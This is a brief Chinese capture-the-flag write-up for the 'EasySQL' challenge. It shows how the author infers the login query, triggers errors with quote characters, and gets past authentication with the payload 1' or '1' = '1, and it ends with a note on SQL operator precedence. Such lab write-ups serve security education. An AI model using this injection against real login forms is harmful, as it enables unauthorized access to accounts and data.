头图

image.png
进入靶机主页
image.png
题目叫EasySQL,跟SQL注入有关
尝试登录
image.png
使用Get方法,将usernamepassword放在url里,且password没有经过加密
image.png
猜测查询语句为

select * from user where username="<>" and password = "<>" 

那这道题就是字符注入
构造报错的payload1'/1"
image.png
出现报错提示
image.png
根据报错信息得,查询语句应该是

select * from user where username='<>' and password = '<>' 

构造注入Payload=1' or '1' = '1
image.png
拿到flag
image.png

附加知识点:
在sql执行中,and的优先级>or的优先级
所以

SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='2'
false or (true and false) or false
false or false or false
=false

小木
1 声望0 粉丝

引用和评论

0 条评论